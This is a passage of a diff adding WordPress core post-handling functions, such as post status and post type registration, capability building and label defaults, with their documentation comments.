+	if ( $output == ARRAY_A )
+		return $_post->to_array();
+	elseif ( $output == ARRAY_N )
+		return array_values( $_post->to_array() );
+
+	return $_post;
+}
+
+/**
+ * Retrieve ancestors of a post.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post Post ID or post object.
+ * @return array Ancestor IDs or empty array if none are found.
+ */
+function get_post_ancestors( $post ) {
+	$post = get_post( $post );
+
+	if ( ! $post || empty( $post->post_parent ) || $post->post_parent == $post->ID )
+		return array();
+
+	$ancestors = array();
+
+	$id = $ancestors[] = $post->post_parent;
+
+	while ( $ancestor = get_post( $id ) ) {
+		// Loop detection: If the ancestor has been seen before, break.
+		if ( empty( $ancestor->post_parent ) || ( $ancestor->post_parent == $post->ID ) || in_array( $ancestor->post_parent, $ancestors ) )
+			break;
+
+		$id = $ancestors[] = $ancestor->post_parent;
+	}
+
+	return $ancestors;
+}
+
+/**
+ * Retrieve data from a post field based on Post ID.
+ *
+ * Examples of the post field will be, 'post_type', 'post_status', 'post_content',
+ * etc and based off of the post object property or key names.
+ *
+ * The context values are based off of the taxonomy filter functions and
+ * supported values are found within those functions.
+ *
+ * @since 2.3.0
+ * @since 4.5.0 The `$post` parameter was made optional.
+ *
+ * @see sanitize_post_field()
+ *
+ * @param string      $field   Post field name.
+ * @param int|WP_Post $post    Optional. Post ID or post object. Defaults to current post.
+ * @param string      $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db',
+ *                             or 'display'. Default 'display'.
+ * @return string The value of the post field on success, empty string on failure.
+ */
+function get_post_field( $field, $post = null, $context = 'display' ) {
+	$post = get_post( $post );
+
+	if ( !$post )
+		return '';
+
+	if ( !isset($post->$field) )
+		return '';
+
+	return sanitize_post_field($field, $post->$field, $post->ID, $context);
+}
+
+/**
+ * Retrieve the mime type of an attachment based on the ID.
+ *
+ * This function can be used with any post type, but it makes more sense with
+ * attachments.
+ *
+ * @since 2.0.0
+ *
+ * @param int|WP_Post $ID Optional. Post ID or post object. Default empty.
+ * @return string|false The mime type on success, false on failure.
+ */
+function get_post_mime_type( $ID = '' ) {
+	$post = get_post($ID);
+
+	if ( is_object($post) )
+		return $post->post_mime_type;
+
+	return false;
+}
+
+/**
+ * Retrieve the post status based on the Post ID.
+ *
+ * If the post ID is of an attachment, then the parent post status will be given
+ * instead.
+ *
+ * @since 2.0.0
+ *
+ * @param int|WP_Post $ID Optional. Post ID or post object. Default empty.
+ * @return string|false Post status on success, false on failure.
+ */
+function get_post_status( $ID = '' ) {
+	$post = get_post($ID);
+
+	if ( !is_object($post) )
+		return false;
+
+	if ( 'attachment' == $post->post_type ) {
+		if ( 'private' == $post->post_status )
+			return 'private';
+
+		// Unattached attachments are assumed to be published.
+		if ( ( 'inherit' == $post->post_status ) && ( 0 == $post->post_parent) )
+			return 'publish';
+
+		// Inherit status from the parent.
+		if ( $post->post_parent && ( $post->ID != $post->post_parent ) ) {
+			$parent_post_status = get_post_status( $post->post_parent );
+			if ( 'trash' == $parent_post_status ) {
+				return get_post_meta( $post->post_parent, '_wp_trash_meta_status', true );
+			} else {
+				return $parent_post_status;
+			}
+		}
+
+	}
+
+	/**
+	 * Filters the post status.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string  $post_status The post status.
+	 * @param WP_Post $post        The post object.
+	 */
+	return apply_filters( 'get_post_status', $post->post_status, $post );
+}
+
+/**
+ * Retrieve all of the WordPress supported post statuses.
+ *
+ * Posts have a limited set of valid status values, this provides the
+ * post_status values and descriptions.
+ *
+ * @since 2.5.0
+ *
+ * @return array List of post statuses.
+ */
+function get_post_statuses() {
+	$status = array(
+		'draft'   => __( 'Draft' ),
+		'pending' => __( 'Pending Review' ),
+		'private' => __( 'Private' ),
+		'publish' => __( 'Published' )
+	);
+
+	return $status;
+}
+
+/**
+ * Retrieve all of the WordPress support page statuses.
+ *
+ * Pages have a limited set of valid status values, this provides the
+ * post_status values and descriptions.
+ *
+ * @since 2.5.0
+ *
+ * @return array List of page statuses.
+ */
+function get_page_statuses() {
+	$status = array(
+		'draft'   => __( 'Draft' ),
+		'private' => __( 'Private' ),
+		'publish' => __( 'Published' )
+	);
+
+	return $status;
+}
+
+/**
+ * Return statuses for privacy requests.
+ *
+ * @since 4.9.6
+ *
+ * @return array
+ */
+function _wp_privacy_statuses() {
+	return array(
+		'request-pending'   => __( 'Pending' ),      // Pending confirmation from user.
+		'request-confirmed' => __( 'Confirmed' ),    // User has confirmed the action.
+		'request-failed'    => __( 'Failed' ),       // User failed to confirm the action.
+		'request-completed' => __( 'Completed' ),    // Admin has handled the request.
+	);
+}
+
+/**
+ * Register a post status. Do not use before init.
+ *
+ * A simple function for creating or modifying a post status based on the
+ * parameters given. The function will accept an array (second optional
+ * parameter), along with a string for the post status name.
+ *
+ * Arguments prefixed with an _underscore shouldn't be used by plugins and themes.
+ *
+ * @since 3.0.0
+ * @global array $wp_post_statuses Inserts new post status object into the list
+ *
+ * @param string $post_status Name of the post status.
+ * @param array|string $args {
+ *     Optional. Array or string of post status arguments.
+ *
+ *     @type bool|string $label                     A descriptive name for the post status marked
+ *                                                  for translation. Defaults to value of $post_status.
+ *     @type bool|array  $label_count               Descriptive text to use for nooped plurals.
+ *                                                  Default array of $label, twice
+ *     @type bool        $exclude_from_search       Whether to exclude posts with this post status
+ *                                                  from search results. Default is value of $internal.
+ *     @type bool        $_builtin                  Whether the status is built-in. Core-use only.
+ *                                                  Default false.
+ *     @type bool        $public                    Whether posts of this status should be shown
+ *                                                  in the front end of the site. Default false.
+ *     @type bool        $internal                  Whether the status is for internal use only.
+ *                                                  Default false.
+ *     @type bool        $protected                 Whether posts with this status should be protected.
+ *                                                  Default false.
+ *     @type bool        $private                   Whether posts with this status should be private.
+ *                                                  Default false.
+ *     @type bool        $publicly_queryable        Whether posts with this status should be publicly-
+ *                                                  queryable. Default is value of $public.
+ *     @type bool        $show_in_admin_all_list    Whether to include posts in the edit listing for
+ *                                                  their post type. Default is value of $internal.
+ *     @type bool        $show_in_admin_status_list Show in the list of statuses with post counts at
+ *                                                  the top of the edit listings,
+ *                                                  e.g. All (12) | Published (9) | My Custom Status (2)
+ *                                                  Default is value of $internal.
+ * }
+ * @return object
+ */
+function register_post_status( $post_status, $args = array() ) {
+	global $wp_post_statuses;
+
+	if (!is_array($wp_post_statuses))
+		$wp_post_statuses = array();
+
+	// Args prefixed with an underscore are reserved for internal use.
+	$defaults = array(
+		'label' => false,
+		'label_count' => false,
+		'exclude_from_search' => null,
+		'_builtin' => false,
+		'public' => null,
+		'internal' => null,
+		'protected' => null,
+		'private' => null,
+		'publicly_queryable' => null,
+		'show_in_admin_status_list' => null,
+		'show_in_admin_all_list' => null,
+	);
+	$args = wp_parse_args($args, $defaults);
+	$args = (object) $args;
+
+	$post_status = sanitize_key($post_status);
+	$args->name = $post_status;
+
+	// Set various defaults.
+	if ( null === $args->public && null === $args->internal && null === $args->protected && null === $args->private )
+		$args->internal = true;
+
+	if ( null === $args->public  )
+		$args->public = false;
+
+	if ( null === $args->private  )
+		$args->private = false;
+
+	if ( null === $args->protected  )
+		$args->protected = false;
+
+	if ( null === $args->internal  )
+		$args->internal = false;
+
+	if ( null === $args->publicly_queryable )
+		$args->publicly_queryable = $args->public;
+
+	if ( null === $args->exclude_from_search )
+		$args->exclude_from_search = $args->internal;
+
+	if ( null === $args->show_in_admin_all_list )
+		$args->show_in_admin_all_list = !$args->internal;
+
+	if ( null === $args->show_in_admin_status_list )
+		$args->show_in_admin_status_list = !$args->internal;
+
+	if ( false === $args->label )
+		$args->label = $post_status;
+
+	if ( false === $args->label_count )
+		$args->label_count = _n_noop( $args->label, $args->label );
+
+	$wp_post_statuses[$post_status] = $args;
+
+	return $args;
+}
+
+/**
+ * Retrieve a post status object by name.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_post_statuses List of post statuses.
+ *
+ * @see register_post_status()
+ *
+ * @param string $post_status The name of a registered post status.
+ * @return object|null A post status object.
+ */
+function get_post_status_object( $post_status ) {
+	global $wp_post_statuses;
+
+	if ( empty($wp_post_statuses[$post_status]) )
+		return null;
+
+	return $wp_post_statuses[$post_status];
+}
+
+/**
+ * Get a list of post statuses.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_post_statuses List of post statuses.
+ *
+ * @see register_post_status()
+ *
+ * @param array|string $args     Optional. Array or string of post status arguments to compare against
+ *                               properties of the global `$wp_post_statuses objects`. Default empty array.
+ * @param string       $output   Optional. The type of output to return, either 'names' or 'objects'. Default 'names'.
+ * @param string       $operator Optional. The logical operation to perform. 'or' means only one element
+ *                               from the array needs to match; 'and' means all elements must match.
+ *                               Default 'and'.
+ * @return array A list of post status names or objects.
+ */
+function get_post_stati( $args = array(), $output = 'names', $operator = 'and' ) {
+	global $wp_post_statuses;
+
+	$field = ('names' == $output) ? 'name' : false;
+
+	return wp_filter_object_list($wp_post_statuses, $args, $operator, $field);
+}
+
+/**
+ * Whether the post type is hierarchical.
+ *
+ * A false return value might also mean that the post type does not exist.
+ *
+ * @since 3.0.0
+ *
+ * @see get_post_type_object()
+ *
+ * @param string $post_type Post type name
+ * @return bool Whether post type is hierarchical.
+ */
+function is_post_type_hierarchical( $post_type ) {
+	if ( ! post_type_exists( $post_type ) )
+		return false;
+
+	$post_type = get_post_type_object( $post_type );
+	return $post_type->hierarchical;
+}
+
+/**
+ * Determines whether a post type is registered.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 3.0.0
+ *
+ * @see get_post_type_object()
+ *
+ * @param string $post_type Post type name.
+ * @return bool Whether post type is registered.
+ */
+function post_type_exists( $post_type ) {
+	return (bool) get_post_type_object( $post_type );
+}
+
+/**
+ * Retrieves the post type of the current post or of a given post.
+ *
+ * @since 2.1.0
+ *
+ * @param int|WP_Post|null $post Optional. Post ID or post object. Default is global $post.
+ * @return string|false          Post type on success, false on failure.
+ */
+function get_post_type( $post = null ) {
+	if ( $post = get_post( $post ) )
+		return $post->post_type;
+
+	return false;
+}
+
+/**
+ * Retrieves a post type object by name.
+ *
+ * @since 3.0.0
+ * @since 4.6.0 Object returned is now an instance of WP_Post_Type.
+ *
+ * @global array $wp_post_types List of post types.
+ *
+ * @see register_post_type()
+ *
+ * @param string $post_type The name of a registered post type.
+ * @return WP_Post_Type|null WP_Post_Type object if it exists, null otherwise.
+ */
+function get_post_type_object( $post_type ) {
+	global $wp_post_types;
+
+	if ( ! is_scalar( $post_type ) || empty( $wp_post_types[ $post_type ] ) ) {
+		return null;
+	}
+
+	return $wp_post_types[ $post_type ];
+}
+
+/**
+ * Get a list of all registered post type objects.
+ *
+ * @since 2.9.0
+ *
+ * @global array $wp_post_types List of post types.
+ *
+ * @see register_post_type() for accepted arguments.
+ *
+ * @param array|string $args     Optional. An array of key => value arguments to match against
+ *                               the post type objects. Default empty array.
+ * @param string       $output   Optional. The type of output to return. Accepts post type 'names'
+ *                               or 'objects'. Default 'names'.
+ * @param string       $operator Optional. The logical operation to perform. 'or' means only one
+ *                               element from the array needs to match; 'and' means all elements
+ *                               must match; 'not' means no elements may match. Default 'and'.
+ * @return array A list of post type names or objects.
+ */
+function get_post_types( $args = array(), $output = 'names', $operator = 'and' ) {
+	global $wp_post_types;
+
+	$field = ('names' == $output) ? 'name' : false;
+
+	return wp_filter_object_list($wp_post_types, $args, $operator, $field);
+}
+
+/**
+ * Registers a post type.
+ *
+ * Note: Post type registrations should not be hooked before the
+ * {@see 'init'} action. Also, any taxonomy connections should be
+ * registered via the `$taxonomies` argument to ensure consistency
+ * when hooks such as {@see 'parse_query'} or {@see 'pre_get_posts'}
+ * are used.
+ *
+ * Post types can support any number of built-in core features such
+ * as meta boxes, custom fields, post thumbnails, post statuses,
+ * comments, and more. See the `$supports` argument for a complete
+ * list of supported features.
+ *
+ * @since 2.9.0
+ * @since 3.0.0 The `show_ui` argument is now enforced on the new post screen.
+ * @since 4.4.0 The `show_ui` argument is now enforced on the post type listing
+ *              screen and post editing screen.
+ * @since 4.6.0 Post type object returned is now an instance of WP_Post_Type.
+ * @since 4.7.0 Introduced `show_in_rest`, 'rest_base' and 'rest_controller_class'
+ *              arguments to register the post type in REST API.
+ *
+ * @global array $wp_post_types List of post types.
+ *
+ * @param string $post_type Post type key. Must not exceed 20 characters and may
+ *                          only contain lowercase alphanumeric characters, dashes,
+ *                          and underscores. See sanitize_key().
+ * @param array|string $args {
+ *     Array or string of arguments for registering a post type.
+ *
+ *     @type string      $label                 Name of the post type shown in the menu. Usually plural.
+ *                                              Default is value of $labels['name'].
+ *     @type array       $labels                An array of labels for this post type. If not set, post
+ *                                              labels are inherited for non-hierarchical types and page
+ *                                              labels for hierarchical ones. See get_post_type_labels() for a full
+ *                                              list of supported labels.
+ *     @type string      $description           A short descriptive summary of what the post type is.
+ *                                              Default empty.
+ *     @type bool        $public                Whether a post type is intended for use publicly either via
+ *                                              the admin interface or by front-end users. While the default
+ *                                              settings of $exclude_from_search, $publicly_queryable, $show_ui,
+ *                                              and $show_in_nav_menus are inherited from public, each does not
+ *                                              rely on this relationship and controls a very specific intention.
+ *                                              Default false.
+ *     @type bool        $hierarchical          Whether the post type is hierarchical (e.g. page). Default false.
+ *     @type bool        $exclude_from_search   Whether to exclude posts with this post type from front end search
+ *                                              results. Default is the opposite value of $public.
+ *     @type bool        $publicly_queryable    Whether queries can be performed on the front end for the post type
+ *                                              as part of parse_request(). Endpoints would include:
+ *                                              * ?post_type={post_type_key}
+ *                                              * ?{post_type_key}={single_post_slug}
+ *                                              * ?{post_type_query_var}={single_post_slug}
+ *                                              If not set, the default is inherited from $public.
+ *     @type bool        $show_ui               Whether to generate and allow a UI for managing this post type in the
+ *                                              admin. Default is value of $public.
+ *     @type bool        $show_in_menu          Where to show the post type in the admin menu. To work, $show_ui
+ *                                              must be true. If true, the post type is shown in its own top level
+ *                                              menu. If false, no menu is shown. If a string of an existing top
+ *                                              level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post
+ *                                              type will be placed as a sub-menu of that.
+ *                                              Default is value of $show_ui.
+ *     @type bool        $show_in_nav_menus     Makes this post type available for selection in navigation menus.
+ *                                              Default is value $public.
+ *     @type bool        $show_in_admin_bar     Makes this post type available via the admin bar. Default is value
+ *                                              of $show_in_menu.
+ *     @type bool        $show_in_rest          Whether to add the post type route in the REST API 'wp/v2' namespace.
+ *     @type string      $rest_base             To change the base url of REST API route. Default is $post_type.
+ *     @type string      $rest_controller_class REST API Controller class name. Default is 'WP_REST_Posts_Controller'.
+ *     @type int         $menu_position         The position in the menu order the post type should appear. To work,
+ *                                              $show_in_menu must be true. Default null (at the bottom).
+ *     @type string      $menu_icon             The url to the icon to be used for this menu. Pass a base64-encoded
+ *                                              SVG using a data URI, which will be colored to match the color scheme
+ *                                              -- this should begin with 'data:image/svg+xml;base64,'. Pass the name
+ *                                              of a Dashicons helper class to use a font icon, e.g.
+ *                                              'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
+ *                                              so an icon can be added via CSS. Defaults to use the posts icon.
+ *     @type string      $capability_type       The string to use to build the read, edit, and delete capabilities.
+ *                                              May be passed as an array to allow for alternative plurals when using
+ *                                              this argument as a base to construct the capabilities, e.g.
+ *                                              array('story', 'stories'). Default 'post'.
+ *     @type array       $capabilities          Array of capabilities for this post type. $capability_type is used
+ *                                              as a base to construct capabilities by default.
+ *                                              See get_post_type_capabilities().
+ *     @type bool        $map_meta_cap          Whether to use the internal default meta capability handling.
+ *                                              Default false.
+ *     @type array       $supports              Core feature(s) the post type supports. Serves as an alias for calling
+ *                                              add_post_type_support() directly. Core features include 'title',
+ *                                              'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt',
+ *                                              'page-attributes', 'thumbnail', 'custom-fields', and 'post-formats'.
+ *                                              Additionally, the 'revisions' feature dictates whether the post type
+ *                                              will store revisions, and the 'comments' feature dictates whether the
+ *                                              comments count will show on the edit screen. Defaults is an array
+ *                                              containing 'title' and 'editor'.
+ *     @type callable    $register_meta_box_cb  Provide a callback function that sets up the meta boxes for the
+ *                                              edit form. Do remove_meta_box() and add_meta_box() calls in the
+ *                                              callback. Default null.
+ *     @type array       $taxonomies            An array of taxonomy identifiers that will be registered for the
+ *                                              post type. Taxonomies can be registered later with register_taxonomy()
+ *                                              or register_taxonomy_for_object_type().
+ *                                              Default empty array.
+ *     @type bool|string $has_archive           Whether there should be post type archives, or if a string, the
+ *                                              archive slug to use. Will generate the proper rewrite rules if
+ *                                              $rewrite is enabled. Default false.
+ *     @type bool|array  $rewrite              {
+ *         Triggers the handling of rewrites for this post type. To prevent rewrite, set to false.
+ *         Defaults to true, using $post_type as slug. To specify rewrite rules, an array can be
+ *         passed with any of these keys:
+ *
+ *         @type string $slug       Customize the permastruct slug. Defaults to $post_type key.
+ *         @type bool   $with_front Whether the permastruct should be prepended with WP_Rewrite::$front.
+ *                                  Default true.
+ *         @type bool   $feeds      Whether the feed permastruct should be built for this post type.
+ *                                  Default is value of $has_archive.
+ *         @type bool   $pages      Whether the permastruct should provide for pagination. Default true.
+ *         @type const  $ep_mask    Endpoint mask to assign. If not specified and permalink_epmask is set,
+ *                                  inherits from $permalink_epmask. If not specified and permalink_epmask
+ *                                  is not set, defaults to EP_PERMALINK.
+ *     }
+ *     @type string|bool $query_var             Sets the query_var key for this post type. Defaults to $post_type
+ *                                              key. If false, a post type cannot be loaded at
+ *                                              ?{query_var}={post_slug}. If specified as a string, the query
+ *                                              ?{query_var_string}={post_slug} will be valid.
+ *     @type bool        $can_export            Whether to allow this post type to be exported. Default true.
+ *     @type bool        $delete_with_user      Whether to delete posts of this type when deleting a user. If true,
+ *                                              posts of this type belonging to the user will be moved to trash
+ *                                              when then user is deleted. If false, posts of this type belonging
+ *                                              to the user will *not* be trashed or deleted. If not set (the default),
+ *                                              posts are trashed if post_type_supports('author'). Otherwise posts
+ *                                              are not trashed or deleted. Default null.
+ *     @type bool        $_builtin              FOR INTERNAL USE ONLY! True if this post type is a native or
+ *                                              "built-in" post_type. Default false.
+ *     @type string      $_edit_link            FOR INTERNAL USE ONLY! URL segment to use for edit link of
+ *                                              this post type. Default 'post.php?post=%d'.
+ * }
+ * @return WP_Post_Type|WP_Error The registered post type object, or an error object.
+ */
+function register_post_type( $post_type, $args = array() ) {
+	global $wp_post_types;
+
+	if ( ! is_array( $wp_post_types ) ) {
+		$wp_post_types = array();
+	}
+
+	// Sanitize post type name
+	$post_type = sanitize_key( $post_type );
+
+	if ( empty( $post_type ) || strlen( $post_type ) > 20 ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Post type names must be between 1 and 20 characters in length.' ), '4.2.0' );
+		return new WP_Error( 'post_type_length_invalid', __( 'Post type names must be between 1 and 20 characters in length.' ) );
+	}
+
+	$post_type_object = new WP_Post_Type( $post_type, $args );
+	$post_type_object->add_supports();
+	$post_type_object->add_rewrite_rules();
+	$post_type_object->register_meta_boxes();
+
+	$wp_post_types[ $post_type ] = $post_type_object;
+
+	$post_type_object->add_hooks();
+	$post_type_object->register_taxonomies();
+
+	/**
+	 * Fires after a post type is registered.
+	 *
+	 * @since 3.3.0
+	 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
+	 *
+	 * @param string       $post_type        Post type.
+	 * @param WP_Post_Type $post_type_object Arguments used to register the post type.
+	 */
+	do_action( 'registered_post_type', $post_type, $post_type_object );
+
+	return $post_type_object;
+}
+
+/**
+ * Unregisters a post type.
+ *
+ * Can not be used to unregister built-in post types.
+ *
+ * @since 4.5.0
+ *
+ * @global array $wp_post_types List of post types.
+ *
+ * @param string $post_type Post type to unregister.
+ * @return bool|WP_Error True on success, WP_Error on failure or if the post type doesn't exist.
+ */
+function unregister_post_type( $post_type ) {
+	global $wp_post_types;
+
+	if ( ! post_type_exists( $post_type ) ) {
+		return new WP_Error( 'invalid_post_type', __( 'Invalid post type.' ) );
+	}
+
+	$post_type_object = get_post_type_object( $post_type );
+
+	// Do not allow unregistering internal post types.
+	if ( $post_type_object->_builtin ) {
+		return new WP_Error( 'invalid_post_type', __( 'Unregistering a built-in post type is not allowed' ) );
+	}
+
+	$post_type_object->remove_supports();
+	$post_type_object->remove_rewrite_rules();
+	$post_type_object->unregister_meta_boxes();
+	$post_type_object->remove_hooks();
+	$post_type_object->unregister_taxonomies();
+
+	unset( $wp_post_types[ $post_type ] );
+
+	/**
+	 * Fires after a post type was unregistered.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $post_type Post type key.
+	 */
+	do_action( 'unregistered_post_type', $post_type );
+
+	return true;
+}
+
+/**
+ * Build an object with all post type capabilities out of a post type object
+ *
+ * Post type capabilities use the 'capability_type' argument as a base, if the
+ * capability is not set in the 'capabilities' argument array or if the
+ * 'capabilities' argument is not supplied.
+ *
+ * The capability_type argument can optionally be registered as an array, with
+ * the first value being singular and the second plural, e.g. array('story, 'stories')
+ * Otherwise, an 's' will be added to the value for the plural form. After
+ * registration, capability_type will always be a string of the singular value.
+ *
+ * By default, seven keys are accepted as part of the capabilities array:
+ *
+ * - edit_post, read_post, and delete_post are meta capabilities, which are then
+ *   generally mapped to corresponding primitive capabilities depending on the
+ *   context, which would be the post being edited/read/deleted and the user or
+ *   role being checked. Thus these capabilities would generally not be granted
+ *   directly to users or roles.
+ *
+ * - edit_posts - Controls whether objects of this post type can be edited.
+ * - edit_others_posts - Controls whether objects of this type owned by other users
+ *   can be edited. If the post type does not support an author, then this will
+ *   behave like edit_posts.
+ * - publish_posts - Controls publishing objects of this post type.
+ * - read_private_posts - Controls whether private objects can be read.
+ *
+ * These four primitive capabilities are checked in core in various locations.
+ * There are also seven other primitive capabilities which are not referenced
+ * directly in core, except in map_meta_cap(), which takes the three aforementioned
+ * meta capabilities and translates them into one or more primitive capabilities
+ * that must then be checked against the user or role, depending on the context.
+ *
+ * - read - Controls whether objects of this post type can be read.
+ * - delete_posts - Controls whether objects of this post type can be deleted.
+ * - delete_private_posts - Controls whether private objects can be deleted.
+ * - delete_published_posts - Controls whether published objects can be deleted.
+ * - delete_others_posts - Controls whether objects owned by other users can be
+ *   can be deleted. If the post type does not support an author, then this will
+ *   behave like delete_posts.
+ * - edit_private_posts - Controls whether private objects can be edited.
+ * - edit_published_posts - Controls whether published objects can be edited.
+ *
+ * These additional capabilities are only used in map_meta_cap(). Thus, they are
+ * only assigned by default if the post type is registered with the 'map_meta_cap'
+ * argument set to true (default is false).
+ *
+ * @since 3.0.0
+ *
+ * @see register_post_type()
+ * @see map_meta_cap()
+ *
+ * @param object $args Post type registration arguments.
+ * @return object Object with all the capabilities as member variables.
+ */
+function get_post_type_capabilities( $args ) {
+	if ( ! is_array( $args->capability_type ) )
+		$args->capability_type = array( $args->capability_type, $args->capability_type . 's' );
+
+	// Singular base for meta capabilities, plural base for primitive capabilities.
+	list( $singular_base, $plural_base ) = $args->capability_type;
+
+	$default_capabilities = array(
+		// Meta capabilities
+		'edit_post'          => 'edit_'         . $singular_base,
+		'read_post'          => 'read_'         . $singular_base,
+		'delete_post'        => 'delete_'       . $singular_base,
+		// Primitive capabilities used outside of map_meta_cap():
+		'edit_posts'         => 'edit_'         . $plural_base,
+		'edit_others_posts'  => 'edit_others_'  . $plural_base,
+		'publish_posts'      => 'publish_'      . $plural_base,
+		'read_private_posts' => 'read_private_' . $plural_base,
+	);
+
+	// Primitive capabilities used within map_meta_cap():
+	if ( $args->map_meta_cap ) {
+		$default_capabilities_for_mapping = array(
+			'read'                   => 'read',
+			'delete_posts'           => 'delete_'           . $plural_base,
+			'delete_private_posts'   => 'delete_private_'   . $plural_base,
+			'delete_published_posts' => 'delete_published_' . $plural_base,
+			'delete_others_posts'    => 'delete_others_'    . $plural_base,
+			'edit_private_posts'     => 'edit_private_'     . $plural_base,
+			'edit_published_posts'   => 'edit_published_'   . $plural_base,
+		);
+		$default_capabilities = array_merge( $default_capabilities, $default_capabilities_for_mapping );
+	}
+
+	$capabilities = array_merge( $default_capabilities, $args->capabilities );
+
+	// Post creation capability simply maps to edit_posts by default:
+	if ( ! isset( $capabilities['create_posts'] ) )
+		$capabilities['create_posts'] = $capabilities['edit_posts'];
+
+	// Remember meta capabilities for future reference.
+	if ( $args->map_meta_cap )
+		_post_type_meta_capabilities( $capabilities );
+
+	return (object) $capabilities;
+}
+
+/**
+ * Store or return a list of post type meta caps for map_meta_cap().
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @global array $post_type_meta_caps Used to store meta capabilities.
+ *
+ * @param array $capabilities Post type meta capabilities.
+ */
+function _post_type_meta_capabilities( $capabilities = null ) {
+	global $post_type_meta_caps;
+
+	foreach ( $capabilities as $core => $custom ) {
+		if ( in_array( $core, array( 'read_post', 'delete_post', 'edit_post' ) ) ) {
+			$post_type_meta_caps[ $custom ] = $core;
+		}
+	}
+}
+
+/**
+ * Builds an object with all post type labels out of a post type object.
+ *
+ * Accepted keys of the label array in the post type object:
+ *
+ * - `name` - General name for the post type, usually plural. The same and overridden
+ *          by `$post_type_object->label`. Default is 'Posts' / 'Pages'.
+ * - `singular_name` - Name for one object of this post type. Default is 'Post' / 'Page'.
+ * - `add_new` - Default is 'Add New' for both hierarchical and non-hierarchical types.
+ *             When internationalizing this string, please use a {@link https://codex.wordpress.org/I18n_for_WordPress_Developers#Disambiguation_by_context gettext context}
+ *             matching your post type. Example: `_x( 'Add New', 'product', 'textdomain' );`.
+ * - `add_new_item` - Label for adding a new singular item. Default is 'Add New Post' / 'Add New Page'.
+ * - `edit_item` - Label for editing a singular item. Default is 'Edit Post' / 'Edit Page'.
+ * - `new_item` - Label for the new item page title. Default is 'New Post' / 'New Page'.
+ * - `view_item` - Label for viewing a singular item. Default is 'View Post' / 'View Page'.
+ * - `view_items` - Label for viewing post type archives. Default is 'View Posts' / 'View Pages'.
+ * - `search_items` - Label for searching plural items. Default is 'Search Posts' / 'Search Pages'.
+ * - `not_found` - Label used when no items are found. Default is 'No posts found' / 'No pages found'.
+ * - `not_found_in_trash` - Label used when no items are in the trash. Default is 'No posts found in Trash' /
+ *                        'No pages found in Trash'.
+ * - `parent_item_colon` - Label used to prefix parents of hierarchical items. Not used on non-hierarchical
+ *                       post types. Default is 'Parent Page:'.
+ * - `all_items` - Label to signify all items in a submenu link. Default is 'All Posts' / 'All Pages'.
+ * - `archives` - Label for archives in nav menus. Default is 'Post Archives' / 'Page Archives'.
+ * - `attributes` - Label for the attributes meta box. Default is 'Post Attributes' / 'Page Attributes'.
+ * - `insert_into_item` - Label for the media frame button. Default is 'Insert into post' / 'Insert into page'.
+ * - `uploaded_to_this_item` - Label for the media frame filter. Default is 'Uploaded to this post' /
+ *                           'Uploaded to this page'.
+ * - `featured_image` - Label for the Featured Image meta box title. Default is 'Featured Image'.
+ * - `set_featured_image` - Label for setting the featured image. Default is 'Set featured image'.
+ * - `remove_featured_image` - Label for removing the featured image. Default is 'Remove featured image'.
+ * - `use_featured_image` - Label in the media frame for using a featured image. Default is 'Use as featured image'.
+ * - `menu_name` - Label for the menu name. Default is the same as `name`.
+ * - `filter_items_list` - Label for the table views hidden heading. Default is 'Filter posts list' /
+ *                       'Filter pages list'.
+ * - `items_list_navigation` - Label for the table pagination hidden heading. Default is 'Posts list navigation' /
+ *                           'Pages list navigation'.
+ * - `items_list` - Label for the table hidden heading. Default is 'Posts list' / 'Pages list'.
+ * - `item_published` - Label used when an item is published. Default is 'Post published.' / 'Page published.'
+ * - `item_published_privately` - Label used when an item is published with private visibility.
+ *                              Default is 'Post published privately.' / 'Page published privately.'
+ * - `item_reverted_to_draft` - Label used when an item is switched to a draft.
+ *                            Default is 'Post reverted to draft.' / 'Page reverted to draft.'
+ * - `item_scheduled` - Label used when an item is scheduled for publishing. Default is 'Post scheduled.' /
+ *                    'Page scheduled.'
+ * - `item_updated` - Label used when an item is updated. Default is 'Post updated.' / 'Page updated.'
+ *
+ * Above, the first default value is for non-hierarchical post types (like posts)
+ * and the second one is for hierarchical post types (like pages).
+ *
+ * Note: To set labels used in post type admin notices, see the {@see 'post_updated_messages'} filter.
+ *
+ * @since 3.0.0
+ * @since 4.3.0 Added the `featured_image`, `set_featured_image`, `remove_featured_image`,
+ *              and `use_featured_image` labels.
+ * @since 4.4.0 Added the `archives`, `insert_into_item`, `uploaded_to_this_item`, `filter_items_list`,
+ *              `items_list_navigation`, and `items_list` labels.
+ * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
+ * @since 4.7.0 Added the `view_items` and `attributes` labels.
+ * @since 5.0.0 Added the `item_published`, `item_published_privately`, `item_reverted_to_draft`,
+ *              `item_scheduled`, and `item_updated` labels.
+ *
+ * @access private
+ *
+ * @param object|WP_Post_Type $post_type_object Post type object.
+ * @return object Object with all the labels as member variables.
+ */
+function get_post_type_labels( $post_type_object ) {
+	$nohier_vs_hier_defaults = array(
+		'name' => array( _x('Posts', 'post type general name'), _x('Pages', 'post type general name') ),
+		'singular_name' => array( _x('Post', 'post type singular name'), _x('Page', 'post type singular name') ),
+		'add_new' => array( _x('Add New', 'post'), _x('Add New', 'page') ),
+		'add_new_item' => array( __('Add New Post'), __('Add New Page') ),
+		'edit_item' => array( __('Edit Post'), __('Edit Page') ),
+		'new_item' => array( __('New Post'), __('New Page') ),
+		'view_item' => array( __('View Post'), __('View Page') ),
+		'view_items' => array( __('View Posts'), __('View Pages') ),
+		'search_items' => array( __('Search Posts'), __('Search Pages') ),
+		'not_found' => array( __('No posts found.'), __('No pages found.') ),
+		'not_found_in_trash' => array( __('No posts found in Trash.'), __('No pages found in Trash.') ),
+		'parent_item_colon' => array( null, __('Parent Page:') ),
